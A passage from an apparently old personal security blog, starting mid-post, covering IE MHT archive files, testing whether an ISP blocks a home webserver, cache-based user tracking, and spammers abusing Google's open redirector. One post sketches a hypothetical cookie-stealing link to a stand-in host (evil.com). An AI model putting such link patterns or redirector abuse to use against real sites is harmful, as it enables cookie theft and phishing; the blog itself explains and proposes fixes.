  return qq{$attr="http://example.com/$target"};
}

The two important things here are the fact that each element must contain the Content-Location header (ok, is somewhat of an oversimplifaction, because there are other ways to identify subcontent, but this is the easiest) and all URLs must be absolute! This is why there is all the regex replacement going on (again, this is quick hack, if you want to create production code, you should consider using a parser. An other possibility – which I haven’t tried – is to use the BASE tag – you may also want to check out the changes IE7 brings to it, although most probably they wouldn’t affect you).

Now, with the MHT file created, time to try it out (with IE obviously):

mhtml:http://ghdb.mirror.googlepages.com/ghdb.mht!http://example.com/_0toc.html

The result is an IE consuming 100% CPU (or less if you are on a multi-core system :-)) and seemingly doing nothing. Tried this on two different systems with IE6 and IE7. Now I assume that in the background it is downloading and parsing the file, but I just got bored with waiting. Update: I did manage to get it working after a fair amount of working, however it seemed to want to download the entire file at each click, making this solution unusable. It still might be an alternative for smaller files…

Conclusions, future work:

Both solutions want to download the entire file before displaying it, making the solutions very slow in case of large files.
It would be interesting to see if the MHT could incorporate some compressed resources. IE, something like: Content-Encoding: gzip, base64 (first gzipped, and after it base64 encoded). This could possibly reduce the size problem.
It would also be interesting to know in which context the content is interpreted. Hopefully in the context of the MHT file URL (ie, in this case http://ghdb.mirror.googlepages.com/), rather than the specified URL (ie. http://example.com), because, if not, it can result in some nasty XSS-type scenarios (ie. malicious individual crafts MHT pages with resources being referred to as http://powned.com/ and hosts it on its own server. Convinces a user to click on the link mhtml:http://evil.com/pown.mht!http://powned.com/foo.html and steals the cookies for example from powned.com, even if powned has no vulnerabilities per se!). I’m too lazy to try this out :-), but hupefully this can’t happen.

How to make sure that your webserver isn’t blocket by the ISP?

gpanther — Mon, 22 Dec 2008 06:03:00 +0000

First of all, if it says in your contract that you can’t run servers, doing so may result in your connection being cut, so do this on your own risk! Second of all, I don’t advocate running websites on a home machine. Get a VPS!

All this said, if you do run a webserver on a home machine and want to make sure that your ISP isn’t blocking it, here are some ideas on how to test it:

Use TOR to browse to it
Use a free proxy to browse to it
You could have used the Google translate trick, however they closed this loophole.
However you can still use other services like ViewHTML or even the W3C validator to test connectivity.

As for other services (SSH, RDP, etc) – you could use something like nmap online to scan your host and determine if it sees the given ports as open.

Tracking Users Via the Browser Cache

gpanther — Sun, 19 Nov 2006 16:59:00 +0000

From the department of old things I didn’t know about comes the following bit:

Tracking Users Via the Browser Cache. Original story: meantime: non-consensual http user tracking using caches. Also covered here: Clearing cookies is not enough to save your privacy. And it was already posted on slashdot (so please don’t post it again :)).

As you might know I personally believe that to gain 100% privacy and anonymity on the ‘net is almost impossible and if you take all possible steps to achieve it, you get a web which lacks many of the functionality which make it so attractive. In the end everybody must decide for themselves, but probably most of the people have better things to do than running around in a thin-foil hat. Now that I’ve got this off my chest, lets see the technical details for this new method:

Whenever an object (web page, image, etc) is downloaded from the web server, additional headers are returned which signal to the browser (and any proxy which may be in between) how long the given object should be cached (caching is essential and it improves page loading speed substantially, so no, turning it off is not the solution). The idea is to give the browser an object (and again, this can be even an html page, so turning off scripts, images & stuff won’t make you bullet proof) with a header that tells the browser that the object must be revalidated on every request (revalidation is the process where the browser asks the webserver: I got the version of this object which was produced on date X, do you have a newer one? And the webserver responds either with no or with the new version). Based on this the server can tell exactly when this particular client last loaded a page from it.

This is just an other possibility to track users on web pages (you can read about others on my blog). Possible defenses would be: (a) turn off caching (and live with very low performance) (b) some finer grained caching control (which to my knowledge doesn’t exists in any browser) or (c) embrace the truth: as long as they have something that you want, they can demand the price.

On the upside: it seems that currently this is not suitable for cross-domain user tracking without some additional stuff (like javascript – then again if you have javascript enabled, all kind of other technologies can be used).

Spammers use Google as redirector

gpanther — Sun, 19 Nov 2006 10:00:00 +0000

It seems that this isn’t a new thing (see others noticing it here and here), however I’ve been just hit by a couple of these today, so I blog about it

Google offers a service which creates redirects with arbitrary targets. Just enter http://www.google.com/url?q= and it will issue a 302 permanently moved header and redirect your browser to the site of your choice. What’s the big deal you ask? The big deal is that (a) people trust Google (b) there might be some white-lists in anti-spam filters which contain the link to Google.


How this should be fixed (IMHO): links should be encrypted before sending them as parameter. For example instead of http://www.google.com/url?q=http://www.example.com, one should use http://www.google.com/url?q=e86d9f95ad063cf36eb8e7 where e86d9f95ad063cf36eb8e7 is the encrypted version of http://www.example.com. For added security the encryption key should be dependent on the current time (the day of the year for example) and also the redirector should check the current and the previous key (so that if it was Nov 19 when the user clicked the link, but when the request arrived at the Google server, it was already Nov 20, s/he shouldn’t receive an error).